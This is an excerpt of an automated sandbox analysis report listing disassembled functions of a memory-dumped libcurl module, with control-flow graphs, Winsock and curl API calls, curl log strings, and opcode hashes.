                                                                                                                                      control_flow_graph 917 6bdb09f0-6bdb0a4e 918 6bdb0b1a-6bdb0b3c send 917->918 919 6bdb0a54-6bdb0a5f 917->919 921 6bdb0b3e-6bdb0b4c WSAGetLastError 918->921 922 6bdb0ba5-6bdb0bb7 call 6bdcdb71 918->922 919->918 920 6bdb0a65-6bdb0a68 919->920 924 6bdb0a6a-6bdb0a6c 920->924 925 6bdb0a72-6bdb0a80 call 6bdb03a0 920->925 926 6bdb0b69-6bdb0b9f call 6bdba0e0 call 6bdb05d0 921->926 927 6bdb0b4e-6bdb0b68 call 6bdcdb71 921->927 924->918 924->925 933 6bdb0a85-6bdb0a8b 925->933 926->922 933->918 936 6bdb0a91-6bdb0a93 933->936 936->918 938 6bdb0a99-6bdb0a9d 936->938 939 6bdb0aeb 938->939 940 6bdb0a9f-6bdb0abc 938->940 941 6bdb0af1-6bdb0af3 939->941 945 6bdb0abe-6bdb0acf 940->945 946 6bdb0ad1-6bdb0aea call 6bdcdb71 940->946 943 6bdb0b13 941->943 944 6bdb0af5-6bdb0b0c recv 941->944 943->918 944->918 947 6bdb0b0e-6bdb0b11 944->947 945->941 947->918
                                                                                                                                      APIs
                                                                                                                                      • recv.WS2_32(?,?,?,00000000), ref: 6BDB0B04
                                                                                                                                      • send.WS2_32(?,?,?,00000000), ref: 6BDB0B2B
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BDB0B3E
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLastrecvsend
                                                                                                                                      • String ID: Send failure: %s
                                                                                                                                      • API String ID: 3418755260-857917747
                                                                                                                                      • Opcode ID: dbb903d26880ac297697f624d0e24af5b06a9a981b44fb2ce4d59102a7361a8c
                                                                                                                                      • Instruction ID: 7ff860c24f9890b03fa5e42b842bb480cf8644c9a73452e63f430937dfa14217
                                                                                                                                      • Opcode Fuzzy Hash: dbb903d26880ac297697f624d0e24af5b06a9a981b44fb2ce4d59102a7361a8c
                                                                                                                                      • Instruction Fuzzy Hash: 3651CFB1A00219DFDB20CF28CD41B9AB7F4EF05364F0042A9E96EDB290C774A991DF90
                                                                                                                                      Function 6BD840C0 Relevance: 30.2, APIs: 10, Strings: 7, Instructions: 421networkCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 0 6bd840c0-6bd84136 1 6bd84138 0->1 2 6bd8413b-6bd8414f 0->2 1->2 3 6bd84160-6bd8417a call 6bdcf070 2->3 4 6bd84151-6bd8415b 2->4 7 6bd8417c-6bd841ad call 6bda7550 * 2 3->7 8 6bd841af-6bd841c7 socket 3->8 4->3 9 6bd841c9-6bd841cc 7->9 8->9 11 6bd84512 9->11 12 6bd841d2-6bd841d9 9->12 14 6bd84517-6bd84527 call 6bdcdb71 11->14 15 6bd841db-6bd841e3 call 6bdaa660 12->15 16 6bd841e6-6bd84210 call 6bd82840 12->16 15->16 26 6bd84212-6bd84266 call 6bdd1f49 * 2 call 6bdba0e0 call 6bdb05d0 call 6bd828e0 call 6bdcdb71 16->26 27 6bd84267-6bd84288 call 6bdb06b0 16->27 32 6bd8428a-6bd8428d 27->32 33 6bd8428f-6bd84296 27->33 32->33 36 6bd84300 32->36 33->36 37 6bd84298-6bd842a6 33->37 39 6bd84307-6bd8432c 36->39 37->39 40 6bd842a8-6bd842d0 setsockopt 37->40 43 6bd84359-6bd8435c 39->43 44 6bd8432e-6bd8433f call 6bdc4f30 39->44 40->39 41 6bd842d2-6bd842fe WSAGetLastError call 6bdba0e0 call 6bdb06b0 40->41 41->39 48 6bd843a9-6bd843b0 43->48 49 6bd8435e-6bd8437f getsockopt 43->49 60 6bd8434d-6bd84357 44->60 61 6bd84341-6bd8434b 44->61 50 6bd84481-6bd84488 48->50 51 6bd843b6-6bd843bd 48->51 55 6bd8438f-6bd843a3 setsockopt 49->55 56 6bd84381-6bd8438d 49->56 62 6bd8448a-6bd844bd call 6bda7550 * 2 50->62 63 6bd844c6-6bd844cf 50->63 51->50 57 6bd843c3-6bd843e6 setsockopt 51->57 55->48 56->48 56->55 65 6bd843e8-6bd843f7 call 6bdb06b0 57->65 66 6bd843fc-6bd84469 call 6bdc22a0 * 2 WSAIoctl 57->66 60->49 61->48 96 6bd84528-6bd8452a 62->96 97 6bd844bf 62->97 69 6bd844d1-6bd844d4 63->69 70 6bd844d6-6bd844fb call 6bd9f0a0 call 6bd839a0 63->70 65->50 66->50 91 6bd8446b-6bd8447e WSAGetLastError call 6bdb06b0 66->91 69->70 75 6bd8454c-6bd84574 call 6bdaa660 call 6bdbe5d0 69->75 70->75 92 6bd844fd-6bd84510 call 6bd828e0 70->92 94 6bd845a1-6bd845a8 75->94 95 6bd84576-6bd8459e call 6bda69d0 * 2 75->95 91->50 92->11 92->14 102 6bd8467b-6bd84695 call 6bdcdb71 94->102 103 6bd845ae-6bd845b5 94->103 95->94 96->63 104 6bd8452c-6bd8454b call 6bd828e0 call 6bdcdb71 96->104 97->63 103->102 107 6bd845bb-6bd845c2 103->107 111 6bd84604-6bd84613 WSAGetLastError 107->111 112 6bd845c4-6bd845db connect 107->112 118 6bd84660-6bd8467a call 6bdcdb71 111->118 119 6bd84615-6bd8461a 111->119 112->111 116 6bd845dd-6bd845e5 112->116 116->14 121 6bd845eb-6bd84603 call 6bdcdb71 116->121 123 6bd8461c-6bd84621 119->123 124 6bd84623-6bd8465b call 6bdba0e0 call 6bdb06b0 call 6bd828e0 119->124 123->118 123->124 124->11
                                                                                                                                      APIs
                                                                                                                                      • socket.WS2_32(?,?,?), ref: 6BD841C1
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,6BDA6C24), ref: 6BDB06EF
                                                                                                                                        • Part of subcall function 6BDB06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6BDB072F
                                                                                                                                      • setsockopt.WS2_32(00000000,00000006,00000001,?,00000004), ref: 6BD842C8
                                                                                                                                      • WSAGetLastError.WS2_32(?,00000100), ref: 6BD842DE
                                                                                                                                      • getsockopt.WS2_32(00000000,0000FFFF,00001001,00000000,00000004), ref: 6BD84377
                                                                                                                                      • setsockopt.WS2_32(00000000,0000FFFF,00001001,00004020,00000004), ref: 6BD843A3
                                                                                                                                      • setsockopt.WS2_32(00000000,0000FFFF,00000008,00000000,00000004), ref: 6BD843DE
                                                                                                                                      • WSAIoctl.WS2_32(00000000,98000004,00000001,0000000C,00000000,00000000,00000004,00000000,00000000), ref: 6BD84461
                                                                                                                                      • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000007), ref: 6BD8446B
                                                                                                                                        • Part of subcall function 6BDAA660: ioctlsocket.WS2_32(00000000,8004667E,6BD84554), ref: 6BDAA67A
                                                                                                                                        • Part of subcall function 6BDBE5D0: QueryPerformanceCounter.KERNEL32(6BDAF03B,?,6BD8669E,6BDAF03B,?,?,?,?), ref: 6BDBE5E5
                                                                                                                                        • Part of subcall function 6BDBE5D0: __alldvrm.LIBCMT ref: 6BDBE5FE
                                                                                                                                        • Part of subcall function 6BDBE5D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDBE627
                                                                                                                                      • connect.WS2_32(00000000,?,?), ref: 6BD845D2
                                                                                                                                        • Part of subcall function 6BDA69D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDA6A0D
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD84604
                                                                                                                                      Strings
                                                                                                                                      • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 6BD84235
                                                                                                                                      • Failed to set SO_KEEPALIVE on fd %d, xrefs: 6BD843E9
                                                                                                                                      • Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 6BD84473
                                                                                                                                      • Immediate connect fail for %s: %s, xrefs: 6BD8463A
                                                                                                                                      • @, xrefs: 6BD8430C
                                                                                                                                      • Trying %s:%ld..., xrefs: 6BD84271
                                                                                                                                      • Could not set TCP_NODELAY: %s, xrefs: 6BD842EB
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLastsetsockopt$Unothrow_t@std@@@__ehfuncinfo$??2@$CounterIoctlPerformanceQuery__alldvrmconnectcurl_msnprintfcurl_mvsnprintfgetsockoptioctlsocketsocket
                                                                                                                                      • String ID: Trying %s:%ld...$ @$Could not set TCP_NODELAY: %s$Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
                                                                                                                                      • API String ID: 194311702-3868455274
                                                                                                                                      • Opcode ID: 01183e0270e06f469775040ab9a1574ab30fb0289d1e131e52b0d18ae3fd2979
                                                                                                                                      • Instruction ID: 9542338f73ae2dfb2cb0ceba6490189ebc0b3b21cc3a5cad636bef3729ed40db
                                                                                                                                      • Opcode Fuzzy Hash: 01183e0270e06f469775040ab9a1574ab30fb0289d1e131e52b0d18ae3fd2979
                                                                                                                                      • Instruction Fuzzy Hash: 75F19371940219AFEB20DF74CC85BAEB7BCEF05329F1001D6E50DAE190D7799A849F61
                                                                                                                                      Function 6BD92EA0 Relevance: 23.6, APIs: 2, Strings: 11, Instructions: 800COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      • No more connections allowed to host %s: %zu, xrefs: 6BD936CD
                                                                                                                                      • Couldn't resolve proxy '%s', xrefs: 6BD9397B
                                                                                                                                      • No connections available in cache, xrefs: 6BD93823
                                                                                                                                      • Re-using existing connection! (#%ld) with %s %s, xrefs: 6BD93622
                                                                                                                                      • Couldn't resolve host '%s', xrefs: 6BD938EA
                                                                                                                                      • No connections available., xrefs: 6BD936DB
                                                                                                                                      • proxy, xrefs: 6BD93613, 6BD9361B
                                                                                                                                      • NTLM-proxy picked AND auth done set, clear picked!, xrefs: 6BD937AE
                                                                                                                                      • NTLM picked AND auth done set, clear picked!, xrefs: 6BD93782
                                                                                                                                      • anonymous, xrefs: 6BD93013
                                                                                                                                      • host, xrefs: 6BD9360D
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: Couldn't resolve host '%s'$Couldn't resolve proxy '%s'$NTLM picked AND auth done set, clear picked!$NTLM-proxy picked AND auth done set, clear picked!$No connections available in cache$No connections available.$No more connections allowed to host %s: %zu$Re-using existing connection! (#%ld) with %s %s$anonymous$host$proxy
                                                                                                                                      • API String ID: 0-2910903954
                                                                                                                                      • Opcode ID: 88399ef39f8bb817233969d1f32b73ea366e99335c960e3c0ba9f5277443e376
                                                                                                                                      • Instruction ID: 40a7718df5b8760fc16827599a6ce9acb529700c950956e85939b8684eac1b28
                                                                                                                                      • Opcode Fuzzy Hash: 88399ef39f8bb817233969d1f32b73ea366e99335c960e3c0ba9f5277443e376
                                                                                                                                      • Instruction Fuzzy Hash: F962C6B0A00745ABE715DF74D881BEBBBF4BF05328F000169E86D9B241E739B654DBA1
                                                                                                                                      Function 6BD89E30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 139COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      Strings
                                                                                                                                      • easy handle already used in multi handle, xrefs: 6BD89E59
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: easy handle already used in multi handle
                                                                                                                                      • API String ID: 0-2284409743
                                                                                                                                      • Opcode ID: 85e518d2f7923755eb6b2784862271bd8fd3c843730fe7fb16242d2127bac534
                                                                                                                                      • Instruction ID: f5846582fcc2675955008882a5676847cccc127760ec868af09f0595192efadd
                                                                                                                                      • Opcode Fuzzy Hash: 85e518d2f7923755eb6b2784862271bd8fd3c843730fe7fb16242d2127bac534
                                                                                                                                      • Instruction Fuzzy Hash: 57312C72E05114A7DB118B69ECC1BABB7ACDB45676F0401F6EC0C9F242E72D8D1592F1
                                                                                                                                      Function 6BD836A0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 211networkCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      APIs
                                                                                                                                      • getpeername.WS2_32(?,?,?), ref: 6BD836FE
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD83708
                                                                                                                                        • Part of subcall function 6BDBA0E0: GetLastError.KERNEL32(?,?,00000100), ref: 6BDBA0E7
                                                                                                                                        • Part of subcall function 6BDB05D0: curl_mvsnprintf.LIBCURL(?,00000100,6BDAC830,?), ref: 6BDB0610
                                                                                                                                      • getsockname.WS2_32(?,?,00000080), ref: 6BD83772
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD8377C
                                                                                                                                      Strings
                                                                                                                                      • getsockname() failed with errno %d: %s, xrefs: 6BD83798
                                                                                                                                      • ssrem inet_ntop() failed with errno %d: %s, xrefs: 6BD83801
                                                                                                                                      • ssloc inet_ntop() failed with errno %d: %s, xrefs: 6BD838A0
                                                                                                                                      • getpeername() failed with errno %d: %s, xrefs: 6BD83724
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast$curl_mvsnprintfgetpeernamegetsockname
                                                                                                                                      • String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
                                                                                                                                      • API String ID: 673488319-670633250
                                                                                                                                      • Opcode ID: f3fc061a568e1002ab706f8f17dc6dbfa4cb91b3fc8eab6026fd6d99b5943f6f
                                                                                                                                      • Instruction ID: 15aeffc26cc3151818692f7c59b5501c39ca287f4166445a5cbc52deb49aef89
                                                                                                                                      • Opcode Fuzzy Hash: f3fc061a568e1002ab706f8f17dc6dbfa4cb91b3fc8eab6026fd6d99b5943f6f
                                                                                                                                      • Instruction Fuzzy Hash: 1581C3759006099BD711DF74D841BEAB3FCFF48324F1041AAE99D9B242EB357A85CBA0
                                                                                                                                      Function 6BD816D0 Relevance: 12.1, APIs: 8, Instructions: 79networkCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,0000000C,6BDEB330,?), ref: 6BD816FA
                                                                                                                                        • Part of subcall function 6BD86E10: getaddrinfo.WS2_32(?,?,?,6BDEB330), ref: 6BD86E2E
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD81722
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD81728
                                                                                                                                      • EnterCriticalSection.KERNEL32(?), ref: 6BD8173B
                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 6BD81749
                                                                                                                                      • send.WS2_32(?,?,00000001,00000000), ref: 6BD81778
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD81782
                                                                                                                                      • LeaveCriticalSection.KERNEL32(?), ref: 6BD81790
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CriticalErrorLastSection$Leave$Entercurl_msnprintfgetaddrinfosend
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1592919352-0
                                                                                                                                      • Opcode ID: c6bb63f3cd246988655ed861dd12b052f408684afe6f13c686f17f494263156d
                                                                                                                                      • Instruction ID: 2151d24300bf47cf0cb88e9a54d4300e137459e267224b111416bcbfdac9e0f2
                                                                                                                                      • Opcode Fuzzy Hash: c6bb63f3cd246988655ed861dd12b052f408684afe6f13c686f17f494263156d
                                                                                                                                      • Instruction Fuzzy Hash: 66219171500309DBDB119FA5CC85BABB7F9EF09311F00062DE56ACB190EB35F9198BA0
                                                                                                                                      Function 6BD91650 Relevance: 6.2, APIs: 4, Instructions: 151COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      APIs
                                                                                                                                      • curl_multi_remove_handle.LIBCURL(?), ref: 6BD91681
                                                                                                                                      • curl_multi_cleanup.LIBCURL(?), ref: 6BD91691
                                                                                                                                      • curl_slist_free_all.LIBCURL(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD91904
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_multi_cleanupcurl_multi_remove_handlecurl_slist_free_all
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3107128920-0
                                                                                                                                      • Opcode ID: ee3a25fe8375692c879ded653aba53ce457846a7148dcf057a4126315603c084
                                                                                                                                      • Instruction ID: 4fd94c33454bd9009b06953dcc7a5f7c48fe107c090562a43d0299c3c05062ab
                                                                                                                                      • Opcode Fuzzy Hash: ee3a25fe8375692c879ded653aba53ce457846a7148dcf057a4126315603c084
                                                                                                                                      • Instruction Fuzzy Hash: 52611A78400B50EBEB215BF0D90ABC6BBE9BF0531AF00495DE5EB4A250C7B9A1548B66
                                                                                                                                      Function 6BDA83D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 251COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 1041 6bda83d0-6bda83f9 1042 6bda83ff-6bda843c call 6bd814e0 1041->1042 1043 6bda8551-6bda8563 call 6bdcdb71 1041->1043 1050 6bda8448 1042->1050 1051 6bda843e-6bda8441 1042->1051 1053 6bda844c-6bda8457 1050->1053 1051->1050 1052 6bda8443-6bda8446 1051->1052 1052->1050 1052->1053 1054 6bda8468-6bda846b 1053->1054 1055 6bda8459-6bda8465 1053->1055 1056 6bda846d-6bda8478 call 6bdac6d0 1054->1056 1057 6bda8487-6bda849d 1054->1057 1055->1054 1056->1057 1070 6bda847a-6bda8484 1056->1070 1059 6bda849f-6bda84ab 1057->1059 1060 6bda84f1-6bda84f8 1057->1060 1065 6bda84bd-6bda84ea call 6bda2020 call 6bda69d0 1059->1065 1066 6bda84ad-6bda84ba call 6bdbeee0 1059->1066 1062 6bda84fa-6bda8504 call 6bdb3fd0 1060->1062 1063 6bda8507-6bda850c 1060->1063 1062->1063 1068 6bda850e-6bda8520 call 6bda2020 1063->1068 1069 6bda8523-6bda8531 1063->1069 1065->1060 1066->1065 1068->1069 1075 6bda8533-6bda8544 1069->1075 1076 6bda8564-6bda8579 1069->1076 1070->1057 1075->1043 1082 6bda8546-6bda854e call 6bdb4010 1075->1082 1079 6bda857b-6bda8585 call 6bd98780 1076->1079 1080 6bda858f-6bda85b5 call 6bd97df0 1076->1080 1079->1080 1092 6bda85de-6bda85ef 1080->1092 1093 6bda85b7-6bda85bf 1080->1093 1082->1043 1095 6bda8619-6bda8620 1092->1095 1096 6bda85f1-6bda85f8 1092->1096 1094 6bda85c0-6bda85d3 call 6bdc4db0 1093->1094 1110 6bda85d5-6bda85db 1094->1110 1097 6bda86e9-6bda8704 call 6bd82a10 call 6bd823e0 1095->1097 1098 6bda8626-6bda862a 1095->1098 1096->1095 1100 6bda85fa-6bda8601 1096->1100 1121 6bda8711-6bda8720 call 6bd91bd0 1097->1121 1122 6bda8706-6bda870e call 6bdb4010 1097->1122 1102 6bda863f-6bda8646 1098->1102 1103 6bda862c-6bda8639 1098->1103 1100->1095 1101 6bda8603-6bda860a 1100->1101 1101->1095 1106 6bda860c-6bda8613 1101->1106 1107 6bda8648-6bda864e 1102->1107 1108 6bda8650-6bda8657 1102->1108 1103->1097 1103->1102 1106->1095 1106->1097 1111 6bda8678-6bda869f curl_msnprintf 1107->1111 1112 6bda8659-6bda865f 1108->1112 1113 6bda8661-6bda8668 1108->1113 1110->1092 1118 6bda86ac-6bda86b8 call 6bd824b0 1111->1118 1119 6bda86a1-6bda86a9 call 6bdb4010 1111->1119 1112->1111 1115 6bda866a-6bda8670 1113->1115 1116 6bda8672 1113->1116 1115->1111 1116->1111 1129 6bda86ba-6bda86db call 6bdb06b0 1118->1129 1130 6bda86dd-6bda86e7 1118->1130 1119->1118 1132 6bda8722-6bda8724 1121->1132 1133 6bda8727-6bda872d call 6bdd80b5 1121->1133 1122->1121 1129->1133 1130->1133 1132->1133 1136 6bda8733-6bda8758 call 6bd91ce0 call 6bdcdb71 1133->1136
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BD814E0: EnterCriticalSection.KERNEL32(?,?,00000000,?,?,?,6BD91C62,?,00000000), ref: 6BD815E0
                                                                                                                                        • Part of subcall function 6BD814E0: LeaveCriticalSection.KERNEL32(?,?,?,6BD91C62,?,00000000), ref: 6BD815F3
                                                                                                                                        • Part of subcall function 6BD814E0: closesocket.WS2_32(000006FC), ref: 6BD81642
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000100,Connection #%ld to host %s left intact,?,?), ref: 6BDA8690
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CriticalSection$EnterLeaveclosesocketcurl_msnprintf
                                                                                                                                      • String ID: %s$Connection #%ld to host %s left intact
                                                                                                                                      • API String ID: 283241466-118628944
                                                                                                                                      • Opcode ID: 7c50c5ebb5a925c6d8967b18999dfb2a1d58d7d9fc284fb74159186b3d4e16a7
                                                                                                                                      • Instruction ID: 919e5999aa8fe33d87c0440b04307e88c1cf6eb605037202582c768a4ff29eb3
                                                                                                                                      • Opcode Fuzzy Hash: 7c50c5ebb5a925c6d8967b18999dfb2a1d58d7d9fc284fb74159186b3d4e16a7
                                                                                                                                      • Instruction Fuzzy Hash: 20A11770600741EBE721CF34CC85BDAB7E4BF05329F0401A9ECA95E191E77AA654DFA2
                                                                                                                                      Function 6BD984A0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
